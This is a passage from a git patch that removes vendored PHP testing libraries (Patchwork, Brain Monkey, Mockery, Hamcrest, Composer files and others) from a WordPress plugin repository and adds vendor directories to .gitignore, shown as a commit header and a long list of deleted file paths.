From 95ada77e26200172fd6933ae8b4489b526a196c3 Mon Sep 17 00:00:00 2001 From: bengizmo Date: Sun, 18 May 2025 19:16:12 -0300 Subject: [PATCH] Remove vendor directories from tracking\n\n- Remove phpunit vendor files from Git LFS\n- Add vendor directories to .gitignore\n- Vendor directories should not be in version control\n\nCo-authored-by: Ben Reed --- .../vendor/antecedent/patchwork/LICENSE | 21 - .../vendor/antecedent/patchwork/Patchwork.php | 144 - .../vendor/antecedent/patchwork/README.md | 41 - .../vendor/antecedent/patchwork/box.json | 17 - .../vendor/antecedent/patchwork/composer.json | 20 - .../patchwork/src/CallRerouting.php | 604 ---- .../patchwork/src/CallRerouting/Decorator.php | 62 - .../patchwork/src/CallRerouting/Handle.php | 65 - .../patchwork/src/CodeManipulation.php | 187 - .../CodeManipulation/Actions/Arguments.php | 49 - .../Actions/CallRerouting.php | 88 - .../Actions/CodeManipulation.php | 33 - .../Actions/ConflictPrevention.php | 33 - .../src/CodeManipulation/Actions/Generic.php | 190 - .../CodeManipulation/Actions/Namespaces.php | 185 - .../Actions/RedefinitionOfInternals.php | 142 - .../RedefinitionOfLanguageConstructs.php | 131 - .../Actions/RedefinitionOfNew.php | 201 -- .../patchwork/src/CodeManipulation/Source.php | 318 -- .../patchwork/src/CodeManipulation/Stream.php | 362 -- .../antecedent/patchwork/src/Config.php | 233 -- .../antecedent/patchwork/src/Console.php | 57 - .../antecedent/patchwork/src/Exceptions.php | 129 - .../src/Redefinitions/LanguageConstructs.php | 76 - .../vendor/antecedent/patchwork/src/Stack.php | 95 - .../vendor/antecedent/patchwork/src/Utils.php | 388 --- .../hvac-community-events/vendor/autoload.php | 25 - .../vendor/bin/php-parse | 119 - .../hvac-community-events/vendor/bin/phpunit | 122 - .../vendor/brain/monkey/.gitattributes | 5 - .../vendor/brain/monkey/.gitbook.yaml | 5 - .../brain/monkey/.github/dependabot.yml | 14 - .../brain/monkey/.github/workflows/php-qa.yml | 84 - .../vendor/brain/monkey/.gitignore | 7 - .../vendor/brain/monkey/LICENSE | 19 - .../vendor/brain/monkey/README.md | 42 - .../vendor/brain/monkey/composer.json | 76 - .../functions-testing-tools/function-stubs.md | 181 - .../functions-expect.md | 133 - .../functions-setup.md | 79 - .../functions-testing-tools/functions-when.md | 96 - .../brain/monkey/docs/general/installation.md | 44 - .../monkey/docs/more/migrating-from-v1.md | 367 -- .../vendor/brain/monkey/docs/summary.md | 27 - .../vendor/brain/monkey/docs/what-and-why.md | 52 - .../wordpress-hooks-added.md | 271 -- .../wordpress-hooks-done.md | 305 -- .../wordpress-setup.md | 49 - .../wordpress-tools.md | 97 - .../wordpress-why-bother.md | 32 - .../vendor/brain/monkey/inc/api.php | 407 --- .../brain/monkey/inc/patchwork-loader.php | 29 - .../brain/monkey/inc/wp-helper-functions.php | 119 - .../brain/monkey/inc/wp-hook-functions.php | 164 - .../vendor/brain/monkey/phpunit.xml.dist | 36 - .../vendor/brain/monkey/src/Container.php | 113 - .../vendor/brain/monkey/src/Exception.php | 21 - .../monkey/src/Expectation/EscapeHelper.php | 99 - .../src/Expectation/Exception/Exception.php | 37 - .../Exception/ExpectationArgsRequired.php | 51 - .../Exception/InvalidArgumentForStub.php | 21 - .../Exception/InvalidExpectationName.php | 39 - .../Exception/InvalidExpectationType.php | 35 - .../Exception/MissedPatchworkReplace.php | 32 - .../Exception/MissingFunctionExpectations.php | 21 - .../Exception/NotAllowedMethod.php | 88 - .../monkey/src/Expectation/Expectation.php | 284 -- .../src/Expectation/ExpectationFactory.php | 187 - .../src/Expectation/ExpectationTarget.php | 199 -- .../monkey/src/Expectation/FunctionStub.php | 239 -- .../src/Expectation/FunctionStubFactory.php | 95 - .../monkey/src/Hook/Exception/Exception.php | 24 - .../Exception/InvalidAddedHookArgument.php | 87 - .../Hook/Exception/InvalidHookArgument.php | 79 - .../src/Hook/HookExpectationExecutor.php | 140 - .../monkey/src/Hook/HookRunningStack.php | 76 - .../brain/monkey/src/Hook/HookStorage.php | 263 -- .../monkey/src/Name/CallbackStringForm.php | 181 - .../brain/monkey/src/Name/ClassName.php | 71 - .../src/Name/ClosureParamStringForm.php | 145 - .../monkey/src/Name/ClosureStringForm.php | 126 - .../monkey/src/Name/Exception/Exception.php | 24 - .../src/Name/Exception/InvalidCallable.php | 41 - .../Name/Exception/InvalidClosureParam.php | 66 - .../monkey/src/Name/Exception/InvalidName.php | 87 - .../NotInvokableObjectAsCallback.php | 29 - .../brain/monkey/src/Name/FunctionName.php | 97 - .../brain/monkey/src/Name/MethodName.php | 61 - .../vendor/composer/ClassLoader.php | 579 ---- .../vendor/composer/InstalledVersions.php | 378 -- .../InstalledVersions.php.bak.20250424054541 | 378 -- .../vendor/composer/LICENSE | 21 - .../vendor/composer/autoload_classmap.php | 712 ---- .../vendor/composer/autoload_files.php | 16 - .../vendor/composer/autoload_namespaces.php | 9 - .../vendor/composer/autoload_psr4.php | 16 - .../vendor/composer/autoload_real.php | 50 - .../vendor/composer/autoload_static.php | 793 ----- .../vendor/composer/installed.json | 2474 ------------- .../vendor/composer/installed.php | 377 -- .../composer/installed.php.bak.20250424054541 | 377 -- .../workflows/continuous-integration.yml | 76 - .../installers/.github/workflows/lint.yml | 30 - .../installers/.github/workflows/phpstan.yml | 51 - .../vendor/composer/installers/LICENSE | 19 - .../vendor/composer/installers/composer.json | 122 - .../composer/installers/phpstan.neon.dist | 10 - .../src/Composer/Installers/AglInstaller.php | 21 - .../Composer/Installers/AimeosInstaller.php | 9 - .../Installers/AnnotateCmsInstaller.php | 11 - .../Composer/Installers/AsgardInstaller.php | 49 - .../Composer/Installers/AttogramInstaller.php | 9 - .../src/Composer/Installers/BaseInstaller.php | 137 - .../Composer/Installers/BitrixInstaller.php | 126 - .../Composer/Installers/BonefishInstaller.php | 9 - .../Composer/Installers/CakePHPInstaller.php | 66 - .../src/Composer/Installers/ChefInstaller.php | 11 - .../Composer/Installers/CiviCrmInstaller.php | 9 - .../Installers/ClanCatsFrameworkInstaller.php | 10 - .../Composer/Installers/CockpitInstaller.php | 32 - .../Installers/CodeIgniterInstaller.php | 11 - .../Installers/Concrete5Installer.php | 13 - .../Composer/Installers/CraftInstaller.php | 35 - .../Composer/Installers/CroogoInstaller.php | 21 - .../Composer/Installers/DecibelInstaller.php | 10 - .../Composer/Installers/DframeInstaller.php | 10 - .../Composer/Installers/DokuWikiInstaller.php | 50 - .../Composer/Installers/DolibarrInstaller.php | 16 - .../Composer/Installers/DrupalInstaller.php | 22 - .../src/Composer/Installers/ElggInstaller.php | 9 - .../Composer/Installers/EliasisInstaller.php | 12 - .../Installers/ExpressionEngineInstaller.php | 29 - .../Installers/EzPlatformInstaller.php | 10 - .../src/Composer/Installers/FuelInstaller.php | 11 - .../Composer/Installers/FuelphpInstaller.php | 9 - .../src/Composer/Installers/GravInstaller.php | 30 - .../Composer/Installers/HuradInstaller.php | 25 - .../Composer/Installers/ImageCMSInstaller.php | 11 - .../src/Composer/Installers/Installer.php | 298 -- .../src/Composer/Installers/ItopInstaller.php | 9 - .../Composer/Installers/JoomlaInstaller.php | 15 - .../Composer/Installers/KanboardInstaller.php | 18 - .../Composer/Installers/KirbyInstaller.php | 11 - .../Composer/Installers/KnownInstaller.php | 11 - .../Composer/Installers/KodiCMSInstaller.php | 10 - .../Composer/Installers/KohanaInstaller.php | 9 - .../LanManagementSystemInstaller.php | 27 - .../Composer/Installers/LaravelInstaller.php | 9 - .../Composer/Installers/LavaLiteInstaller.php | 10 - .../Composer/Installers/LithiumInstaller.php | 10 - .../Installers/MODULEWorkInstaller.php | 9 - .../Composer/Installers/MODXEvoInstaller.php | 16 - .../Composer/Installers/MagentoInstaller.php | 11 - .../Composer/Installers/MajimaInstaller.php | 37 - .../src/Composer/Installers/MakoInstaller.php | 9 - .../Composer/Installers/MantisBTInstaller.php | 23 - .../Composer/Installers/MauticInstaller.php | 48 - .../src/Composer/Installers/MayaInstaller.php | 33 - .../Installers/MediaWikiInstaller.php | 51 - .../Composer/Installers/MiaoxingInstaller.php | 10 - .../Installers/MicroweberInstaller.php | 119 - .../src/Composer/Installers/ModxInstaller.php | 12 - .../Composer/Installers/MoodleInstaller.php | 59 - .../Composer/Installers/OctoberInstaller.php | 48 - .../Composer/Installers/OntoWikiInstaller.php | 24 - .../Composer/Installers/OsclassInstaller.php | 14 - .../src/Composer/Installers/OxidInstaller.php | 59 - .../src/Composer/Installers/PPIInstaller.php | 9 - .../Composer/Installers/PantheonInstaller.php | 12 - .../Composer/Installers/PhiftyInstaller.php | 11 - .../Composer/Installers/PhpBBInstaller.php | 11 - .../Composer/Installers/PimcoreInstaller.php | 21 - .../Composer/Installers/PiwikInstaller.php | 32 - .../Installers/PlentymarketsInstaller.php | 29 - .../src/Composer/Installers/Plugin.php | 27 - .../Composer/Installers/PortoInstaller.php | 9 - .../Installers/PrestashopInstaller.php | 10 - .../Installers/ProcessWireInstaller.php | 22 - .../Composer/Installers/PuppetInstaller.php | 11 - .../Composer/Installers/PxcmsInstaller.php | 63 - .../Composer/Installers/RadPHPInstaller.php | 24 - .../Composer/Installers/ReIndexInstaller.php | 10 - .../Composer/Installers/Redaxo5Installer.php | 10 - .../Composer/Installers/RedaxoInstaller.php | 10 - .../Installers/RoundcubeInstaller.php | 22 - .../src/Composer/Installers/SMFInstaller.php | 10 - .../Composer/Installers/ShopwareInstaller.php | 60 - .../Installers/SilverStripeInstaller.php | 35 - .../Installers/SiteDirectInstaller.php | 25 - .../Composer/Installers/StarbugInstaller.php | 12 - .../Composer/Installers/SyDESInstaller.php | 47 - .../Composer/Installers/SyliusInstaller.php | 9 - .../Composer/Installers/Symfony1Installer.php | 26 - .../Composer/Installers/TYPO3CmsInstaller.php | 16 - .../Installers/TYPO3FlowInstaller.php | 38 - .../src/Composer/Installers/TaoInstaller.php | 30 - .../Installers/TastyIgniterInstaller.php | 32 - .../Composer/Installers/TheliaInstaller.php | 12 - .../src/Composer/Installers/TuskInstaller.php | 14 - .../Installers/UserFrostingInstaller.php | 9 - .../Composer/Installers/VanillaInstaller.php | 10 - .../Composer/Installers/VgmcpInstaller.php | 49 - .../Composer/Installers/WHMCSInstaller.php | 21 - .../Composer/Installers/WinterInstaller.php | 58 - .../Composer/Installers/WolfCMSInstaller.php | 9 - .../Installers/WordPressInstaller.php | 12 - .../Composer/Installers/YawikInstaller.php | 32 - .../src/Composer/Installers/ZendInstaller.php | 11 - .../Composer/Installers/ZikulaInstaller.php | 10 - .../composer/installers/src/bootstrap.php | 13 - .../vendor/composer/platform_check.php | 26 - .../instantiator/.doctrine-project.json | 47 - .../doctrine/instantiator/CONTRIBUTING.md | 35 - .../vendor/doctrine/instantiator/LICENSE | 19 - .../vendor/doctrine/instantiator/README.md | 38 - .../doctrine/instantiator/composer.json | 48 - .../doctrine/instantiator/docs/en/index.rst | 68 - .../doctrine/instantiator/docs/en/sidebar.rst | 4 - .../vendor/doctrine/instantiator/psalm.xml | 16 - .../Exception/ExceptionInterface.php | 14 - .../Exception/InvalidArgumentException.php | 52 - .../Exception/UnexpectedValueException.php | 61 - .../Doctrine/Instantiator/Instantiator.php | 255 -- .../Instantiator/InstantiatorInterface.php | 24 - .../hamcrest/hamcrest-php/.coveralls.yml | 1 - .../hamcrest-php/.github/workflows/tests.yml | 38 - .../vendor/hamcrest/hamcrest-php/.gitignore | 2 - .../vendor/hamcrest/hamcrest-php/.gush.yml | 7 - .../vendor/hamcrest/hamcrest-php/.travis.yml | 23 - .../vendor/hamcrest/hamcrest-php/CHANGES.txt | 173 - .../vendor/hamcrest/hamcrest-php/LICENSE.txt | 27 - .../vendor/hamcrest/hamcrest-php/README.md | 488 --- .../hamcrest/hamcrest-php/composer.json | 37 - .../hamcrest-php/generator/FactoryCall.php | 41 - .../hamcrest-php/generator/FactoryClass.php | 71 - .../hamcrest-php/generator/FactoryFile.php | 121 - .../generator/FactoryGenerator.php | 124 - .../hamcrest-php/generator/FactoryMethod.php | 231 -- .../generator/FactoryParameter.php | 131 - .../generator/GlobalFunctionFile.php | 42 - .../generator/StaticMethodFile.php | 38 - .../generator/parts/file_header.txt | 7 - .../generator/parts/functions_footer.txt | 0 .../generator/parts/functions_header.txt | 24 - .../generator/parts/functions_imports.txt | 0 .../generator/parts/matchers_footer.txt | 1 - .../generator/parts/matchers_header.txt | 7 - .../generator/parts/matchers_imports.txt | 2 - .../hamcrest/hamcrest-php/generator/run.php | 37 - .../hamcrest-php/hamcrest/Hamcrest.php | 882 ----- .../hamcrest/Hamcrest/Arrays/IsArray.php | 118 - .../Hamcrest/Arrays/IsArrayContaining.php | 63 - .../Arrays/IsArrayContainingInAnyOrder.php | 59 - .../Arrays/IsArrayContainingInOrder.php | 57 - .../Hamcrest/Arrays/IsArrayContainingKey.php | 75 - .../Arrays/IsArrayContainingKeyValuePair.php | 80 - .../Hamcrest/Arrays/IsArrayWithSize.php | 73 - .../hamcrest/Hamcrest/Arrays/MatchingOnce.php | 69 - .../Hamcrest/Arrays/SeriesMatchingOnce.php | 75 - .../hamcrest/Hamcrest/AssertionError.php | 10 - .../hamcrest/Hamcrest/BaseDescription.php | 132 - .../hamcrest/Hamcrest/BaseMatcher.php | 30 - .../Collection/IsEmptyTraversable.php | 71 - .../Collection/IsTraversableWithSize.php | 47 - .../hamcrest/Hamcrest/Core/AllOf.php | 59 - .../hamcrest/Hamcrest/Core/AnyOf.php | 58 - .../Hamcrest/Core/CombinableMatcher.php | 78 - .../hamcrest/Hamcrest/Core/DescribedAs.php | 68 - .../hamcrest/Hamcrest/Core/Every.php | 56 - .../hamcrest/Hamcrest/Core/HasToString.php | 56 - .../hamcrest/Hamcrest/Core/Is.php | 57 - .../hamcrest/Hamcrest/Core/IsAnything.php | 45 - .../Hamcrest/Core/IsCollectionContaining.php | 93 - .../hamcrest/Hamcrest/Core/IsEqual.php | 44 - .../hamcrest/Hamcrest/Core/IsIdentical.php | 38 - .../hamcrest/Hamcrest/Core/IsInstanceOf.php | 67 - .../hamcrest/Hamcrest/Core/IsNot.php | 44 - .../hamcrest/Hamcrest/Core/IsNull.php | 56 - .../hamcrest/Hamcrest/Core/IsSame.php | 51 - .../hamcrest/Hamcrest/Core/IsTypeOf.php | 71 - .../hamcrest/Hamcrest/Core/Set.php | 95 - .../Hamcrest/Core/ShortcutCombination.php | 43 - .../hamcrest/Hamcrest/Description.php | 70 - .../hamcrest/Hamcrest/DiagnosingMatcher.php | 25 - .../hamcrest/Hamcrest/FeatureMatcher.php | 67 - .../Hamcrest/Internal/SelfDescribingValue.php | 27 - .../hamcrest/Hamcrest/Matcher.php | 50 - .../hamcrest/Hamcrest/MatcherAssert.php | 118 - .../hamcrest/Hamcrest/Matchers.php | 713 ---- .../hamcrest/Hamcrest/NullDescription.php | 43 - .../hamcrest/Hamcrest/Number/IsCloseTo.php | 67 - .../Hamcrest/Number/OrderingComparison.php | 132 - .../hamcrest/Hamcrest/SelfDescribing.php | 23 - .../hamcrest/Hamcrest/StringDescription.php | 57 - .../hamcrest/Hamcrest/Text/IsEmptyString.php | 85 - .../Hamcrest/Text/IsEqualIgnoringCase.php | 52 - .../Text/IsEqualIgnoringWhiteSpace.php | 66 - .../hamcrest/Hamcrest/Text/MatchesPattern.php | 40 - .../hamcrest/Hamcrest/Text/StringContains.php | 45 - .../Text/StringContainsIgnoringCase.php | 40 - .../Hamcrest/Text/StringContainsInOrder.php | 66 - .../hamcrest/Hamcrest/Text/StringEndsWith.php | 40 - .../Hamcrest/Text/StringStartsWith.php | 40 - .../Hamcrest/Text/SubstringMatcher.php | 45 - .../hamcrest/Hamcrest/Type/IsArray.php | 32 - .../hamcrest/Hamcrest/Type/IsBoolean.php | 32 - .../hamcrest/Hamcrest/Type/IsCallable.php | 37 - .../hamcrest/Hamcrest/Type/IsDouble.php | 34 - .../hamcrest/Hamcrest/Type/IsInteger.php | 32 - .../hamcrest/Hamcrest/Type/IsNumeric.php | 54 - .../hamcrest/Hamcrest/Type/IsObject.php | 32 - .../hamcrest/Hamcrest/Type/IsResource.php | 32 - .../hamcrest/Hamcrest/Type/IsScalar.php | 34 - .../hamcrest/Hamcrest/Type/IsString.php | 32 - .../Hamcrest/TypeSafeDiagnosingMatcher.php | 29 - .../hamcrest/Hamcrest/TypeSafeMatcher.php | 107 - .../hamcrest-php/hamcrest/Hamcrest/Util.php | 76 - .../hamcrest/Hamcrest/Xml/HasXPath.php | 195 -- .../tests/Hamcrest/AbstractMatcherTest.php | 68 - .../Array/IsArrayContainingInAnyOrderTest.php | 54 - .../Array/IsArrayContainingInOrderTest.php | 48 - .../Array/IsArrayContainingKeyTest.php | 62 - .../IsArrayContainingKeyValuePairTest.php | 36 - .../Hamcrest/Array/IsArrayContainingTest.php | 50 - .../tests/Hamcrest/Array/IsArrayTest.php | 89 - .../Hamcrest/Array/IsArrayWithSizeTest.php | 37 - .../tests/Hamcrest/BaseMatcherTest.php | 23 - .../Collection/IsEmptyTraversableTest.php | 77 - .../Collection/IsTraversableWithSizeTest.php | 57 - .../tests/Hamcrest/Core/AllOfTest.php | 56 - .../tests/Hamcrest/Core/AnyOfTest.php | 79 - .../Hamcrest/Core/CombinableMatcherTest.php | 59 - .../tests/Hamcrest/Core/DescribedAsTest.php | 36 - .../tests/Hamcrest/Core/EveryTest.php | 30 - .../tests/Hamcrest/Core/HasToStringTest.php | 108 - .../tests/Hamcrest/Core/IsAnythingTest.php | 29 - .../Core/IsCollectionContainingTest.php | 91 - .../tests/Hamcrest/Core/IsEqualTest.php | 102 - .../tests/Hamcrest/Core/IsIdenticalTest.php | 30 - .../tests/Hamcrest/Core/IsInstanceOfTest.php | 51 - .../tests/Hamcrest/Core/IsNotTest.php | 31 - .../tests/Hamcrest/Core/IsNullTest.php | 20 - .../tests/Hamcrest/Core/IsSameTest.php | 30 - .../tests/Hamcrest/Core/IsTest.php | 33 - .../tests/Hamcrest/Core/IsTypeOfTest.php | 45 - .../tests/Hamcrest/Core/SampleBaseClass.php | 18 - .../tests/Hamcrest/Core/SampleSubClass.php | 6 - .../tests/Hamcrest/Core/SetTest.php | 116 - .../tests/Hamcrest/FeatureMatcherTest.php | 73 - .../tests/Hamcrest/InvokedMatcherTest.php | 31 - .../tests/Hamcrest/MatcherAssertTest.php | 192 - .../tests/Hamcrest/Number/IsCloseToTest.php | 27 - .../Number/OrderingComparisonTest.php | 41 - .../tests/Hamcrest/StringDescriptionTest.php | 162 - .../tests/Hamcrest/Text/IsEmptyStringTest.php | 86 - .../Hamcrest/Text/IsEqualIgnoringCaseTest.php | 40 - .../Text/IsEqualIgnoringWhiteSpaceTest.php | 51 - .../Hamcrest/Text/MatchesPatternTest.php | 30 - .../Text/StringContainsIgnoringCaseTest.php | 80 - .../Text/StringContainsInOrderTest.php | 42 - .../Hamcrest/Text/StringContainsTest.php | 86 - .../Hamcrest/Text/StringEndsWithTest.php | 62 - .../Hamcrest/Text/StringStartsWithTest.php | 62 - .../tests/Hamcrest/Type/IsArrayTest.php | 35 - .../tests/Hamcrest/Type/IsBooleanTest.php | 35 - .../tests/Hamcrest/Type/IsCallableTest.php | 103 - .../tests/Hamcrest/Type/IsDoubleTest.php | 35 - .../tests/Hamcrest/Type/IsIntegerTest.php | 36 - .../tests/Hamcrest/Type/IsNumericTest.php | 53 - .../tests/Hamcrest/Type/IsObjectTest.php | 34 - .../tests/Hamcrest/Type/IsResourceTest.php | 34 - .../tests/Hamcrest/Type/IsScalarTest.php | 39 - .../tests/Hamcrest/Type/IsStringTest.php | 35 - .../hamcrest-php/tests/Hamcrest/UtilTest.php | 82 - .../tests/Hamcrest/Xml/HasXPathTest.php | 198 -- .../hamcrest/hamcrest-php/tests/bootstrap.php | 11 - .../hamcrest-php/tests/phpunit.xml.dist | 21 - .../vendor/mockery/mockery/.phpstorm.meta.php | 11 - .../vendor/mockery/mockery/.readthedocs.yml | 24 - .../vendor/mockery/mockery/CHANGELOG.md | 419 --- .../vendor/mockery/mockery/CONTRIBUTING.md | 82 - .../vendor/mockery/mockery/COPYRIGHT.md | 7 - .../vendor/mockery/mockery/LICENSE | 29 - .../vendor/mockery/mockery/README.md | 294 -- .../vendor/mockery/mockery/SECURITY.md | 14 - .../vendor/mockery/mockery/composer.json | 119 - .../vendor/mockery/mockery/composer.lock | 1867 ---------- .../vendor/mockery/mockery/docs/.gitignore | 1 - .../vendor/mockery/mockery/docs/Makefile | 177 - .../vendor/mockery/mockery/docs/README.md | 4 - .../mockery/mockery/docs/_static/.gitkeep | 0 .../vendor/mockery/mockery/docs/conf.py | 268 -- .../docs/cookbook/big_parent_class.rst | 52 - .../mockery/docs/cookbook/class_constants.rst | 183 - .../docs/cookbook/default_expectations.rst | 17 - .../docs/cookbook/detecting_mock_objects.rst | 13 - .../mockery/mockery/docs/cookbook/index.rst | 16 - .../mockery/mockery/docs/cookbook/map.rst.inc | 7 - .../mockery/docs/cookbook/mockery_on.rst | 85 - .../cookbook/mocking_class_within_class.rst | 146 - .../cookbook/mocking_hard_dependencies.rst | 137 - .../cookbook/not_calling_the_constructor.rst | 63 - .../mockery/docs/getting_started/index.rst | 12 - .../docs/getting_started/installation.rst | 49 - .../mockery/docs/getting_started/map.rst.inc | 4 - .../docs/getting_started/quick_reference.rst | 200 -- .../docs/getting_started/simple_example.rst | 70 - .../docs/getting_started/upgrading.rst | 82 - .../vendor/mockery/mockery/docs/index.rst | 76 - .../mockery/docs/mockery/configuration.rst | 94 - .../mockery/docs/mockery/exceptions.rst | 65 - .../mockery/mockery/docs/mockery/gotchas.rst | 44 - .../mockery/mockery/docs/mockery/index.rst | 12 - .../mockery/mockery/docs/mockery/map.rst.inc | 4 - .../docs/mockery/reserved_method_names.rst | 33 - .../alternative_should_receive_syntax.rst | 91 - .../docs/reference/argument_validation.rst | 338 -- .../docs/reference/creating_test_doubles.rst | 435 --- .../mockery/docs/reference/demeter_chains.rst | 38 - .../mockery/docs/reference/expectations.rst | 533 --- .../docs/reference/final_methods_classes.rst | 29 - .../mockery/mockery/docs/reference/index.rst | 23 - .../docs/reference/instance_mocking.rst | 22 - .../mockery/docs/reference/magic_methods.rst | 16 - .../mockery/docs/reference/map.rst.inc | 14 - .../mockery/docs/reference/partial_mocks.rst | 108 - .../pass_by_reference_behaviours.rst | 130 - .../docs/reference/phpunit_integration.rst | 145 - .../docs/reference/protected_methods.rst | 26 - .../docs/reference/public_properties.rst | 20 - .../reference/public_static_properties.rst | 15 - .../mockery/mockery/docs/reference/spies.rst | 154 - .../mockery/mockery/docs/requirements.txt | 25 - .../mockery/mockery/library/Mockery.php | 1062 ------ .../Phpunit/MockeryPHPUnitIntegration.php | 86 - ...PHPUnitIntegrationAssertPostConditions.php | 21 - .../Adapter/Phpunit/MockeryTestCase.php | 27 - .../Adapter/Phpunit/MockeryTestCaseSetUp.php | 28 - .../Mockery/Adapter/Phpunit/TestListener.php | 38 - .../Adapter/Phpunit/TestListenerTrait.php | 84 - .../library/Mockery/ClosureWrapper.php | 36 - .../library/Mockery/CompositeExpectation.php | 150 - .../mockery/library/Mockery/Configuration.php | 406 --- .../mockery/library/Mockery/Container.php | 678 ---- .../Mockery/CountValidator/AtLeast.php | 58 - .../library/Mockery/CountValidator/AtMost.php | 45 - .../CountValidator/CountValidatorAbstract.php | 62 - .../CountValidatorInterface.php | 24 - .../library/Mockery/CountValidator/Exact.php | 48 - .../Mockery/CountValidator/Exception.php | 18 - .../mockery/library/Mockery/Exception.php | 18 - .../Exception/BadMethodCallException.php | 39 - .../Exception/InvalidArgumentException.php | 15 - .../Exception/InvalidCountException.php | 152 - .../Exception/InvalidOrderException.php | 125 - .../Exception/MockeryExceptionInterface.php | 19 - .../NoMatchingExpectationException.php | 102 - .../Mockery/Exception/RuntimeException.php | 17 - .../mockery/library/Mockery/Expectation.php | 1085 ------ .../library/Mockery/ExpectationDirector.php | 242 -- .../library/Mockery/ExpectationInterface.php | 38 - .../Mockery/ExpectsHigherOrderMessage.php | 32 - .../Mockery/Generator/CachingGenerator.php | 43 - .../Mockery/Generator/DefinedTargetClass.php | 188 - .../library/Mockery/Generator/Generator.php | 19 - .../library/Mockery/Generator/Method.php | 66 - .../Mockery/Generator/MockConfiguration.php | 709 ---- .../Generator/MockConfigurationBuilder.php | 252 -- .../Mockery/Generator/MockDefinition.php | 64 - .../Mockery/Generator/MockNameBuilder.php | 51 - .../library/Mockery/Generator/Parameter.php | 130 - .../Pass/AvoidMethodClashPass.php | 42 - .../Pass/CallTypeHintPass.php | 42 - .../Pass/ClassAttributesPass.php | 40 - .../StringManipulation/Pass/ClassNamePass.php | 35 - .../StringManipulation/Pass/ClassPass.php | 49 - .../StringManipulation/Pass/ConstantsPass.php | 51 - .../Pass/InstanceMockPass.php | 78 - .../StringManipulation/Pass/InterfacePass.php | 41 - .../Pass/MagicMethodTypeHintsPass.php | 197 -- .../Pass/MethodDefinitionPass.php | 199 -- .../StringManipulation/Pass/Pass.php | 22 - .../RemoveBuiltinMethodsThatAreFinalPass.php | 56 - .../Pass/RemoveDestructorPass.php | 39 - ...lizeForInternalSerializableClassesPass.php | 57 - .../StringManipulation/Pass/TraitPass.php | 39 - .../Generator/StringManipulationGenerator.php | 102 - .../Generator/TargetClassInterface.php | 104 - .../Generator/UndefinedTargetClass.php | 141 - .../library/Mockery/HigherOrderMessage.php | 52 - .../mockery/library/Mockery/Instantiator.php | 147 - .../library/Mockery/LegacyMockInterface.php | 258 -- .../library/Mockery/Loader/EvalLoader.php | 32 - .../mockery/library/Mockery/Loader/Loader.php | 23 - .../library/Mockery/Loader/RequireLoader.php | 80 - .../Mockery/Matcher/AndAnyOtherArgs.php | 38 - .../mockery/library/Mockery/Matcher/Any.php | 38 - .../library/Mockery/Matcher/AnyArgs.php | 31 - .../mockery/library/Mockery/Matcher/AnyOf.php | 41 - .../Mockery/Matcher/ArgumentListMatcher.php | 15 - .../library/Mockery/Matcher/Closure.php | 38 - .../library/Mockery/Matcher/Contains.php | 61 - .../library/Mockery/Matcher/Ducktype.php | 52 - .../library/Mockery/Matcher/HasKey.php | 48 - .../library/Mockery/Matcher/HasValue.php | 47 - .../library/Mockery/Matcher/IsEqual.php | 38 - .../library/Mockery/Matcher/IsSame.php | 38 - .../Mockery/Matcher/MatcherAbstract.php | 39 - .../Mockery/Matcher/MatcherInterface.php | 36 - .../Mockery/Matcher/MultiArgumentClosure.php | 40 - .../library/Mockery/Matcher/MustBe.php | 47 - .../library/Mockery/Matcher/NoArgs.php | 33 - .../mockery/library/Mockery/Matcher/Not.php | 39 - .../library/Mockery/Matcher/NotAnyOf.php | 45 - .../library/Mockery/Matcher/Pattern.php | 40 - .../library/Mockery/Matcher/Subset.php | 99 - .../mockery/library/Mockery/Matcher/Type.php | 59 - .../mockery/library/Mockery/MethodCall.php | 50 - .../mockery/mockery/library/Mockery/Mock.php | 1020 ------ .../mockery/library/Mockery/MockInterface.php | 28 - .../Mockery/QuickDefinitionsConfiguration.php | 47 - .../library/Mockery/ReceivedMethodCalls.php | 38 - .../mockery/library/Mockery/Reflector.php | 316 -- .../mockery/library/Mockery/Undefined.php | 39 - .../library/Mockery/VerificationDirector.php | 168 - .../Mockery/VerificationExpectation.php | 29 - .../mockery/mockery/library/helpers.php | 77 - .../vendor/myclabs/deep-copy/LICENSE | 20 - .../vendor/myclabs/deep-copy/README.md | 406 --- .../vendor/myclabs/deep-copy/composer.json | 43 - .../deep-copy/src/DeepCopy/DeepCopy.php | 324 -- .../src/DeepCopy/Exception/CloneException.php | 9 - .../DeepCopy/Exception/PropertyException.php | 9 - .../src/DeepCopy/Filter/ChainableFilter.php | 24 - .../Doctrine/DoctrineCollectionFilter.php | 33 - .../DoctrineEmptyCollectionFilter.php | 28 - .../Filter/Doctrine/DoctrineProxyFilter.php | 22 - .../deep-copy/src/DeepCopy/Filter/Filter.php | 18 - .../src/DeepCopy/Filter/KeepFilter.php | 16 - .../src/DeepCopy/Filter/ReplaceFilter.php | 39 - .../src/DeepCopy/Filter/SetNullFilter.php | 24 - .../Matcher/Doctrine/DoctrineProxyMatcher.php | 22 - .../src/DeepCopy/Matcher/Matcher.php | 14 - .../src/DeepCopy/Matcher/PropertyMatcher.php | 39 - .../DeepCopy/Matcher/PropertyNameMatcher.php | 32 - .../DeepCopy/Matcher/PropertyTypeMatcher.php | 52 - .../DeepCopy/Reflection/ReflectionHelper.php | 78 - .../TypeFilter/Date/DateIntervalFilter.php | 33 - .../TypeFilter/Date/DatePeriodFilter.php | 42 - .../src/DeepCopy/TypeFilter/ReplaceFilter.php | 30 - .../DeepCopy/TypeFilter/ShallowCopyFilter.php | 17 - .../TypeFilter/Spl/ArrayObjectFilter.php | 36 - .../TypeFilter/Spl/SplDoublyLinkedList.php | 10 - .../Spl/SplDoublyLinkedListFilter.php | 51 - .../src/DeepCopy/TypeFilter/TypeFilter.php | 13 - .../src/DeepCopy/TypeMatcher/TypeMatcher.php | 29 - .../deep-copy/src/DeepCopy/deep_copy.php | 20 - .../vendor/nikic/php-parser/LICENSE | 29 - .../vendor/nikic/php-parser/README.md | 233 -- .../vendor/nikic/php-parser/bin/php-parse | 206 -- .../vendor/nikic/php-parser/composer.json | 43 - .../php-parser/lib/PhpParser/Builder.php | 12 - .../lib/PhpParser/Builder/ClassConst.php | 150 - .../lib/PhpParser/Builder/Class_.php | 151 - .../lib/PhpParser/Builder/Declaration.php | 50 - .../lib/PhpParser/Builder/EnumCase.php | 86 - .../lib/PhpParser/Builder/Enum_.php | 116 - .../lib/PhpParser/Builder/FunctionLike.php | 73 - .../lib/PhpParser/Builder/Function_.php | 67 - .../lib/PhpParser/Builder/Interface_.php | 94 - .../lib/PhpParser/Builder/Method.php | 147 - .../lib/PhpParser/Builder/Namespace_.php | 45 - 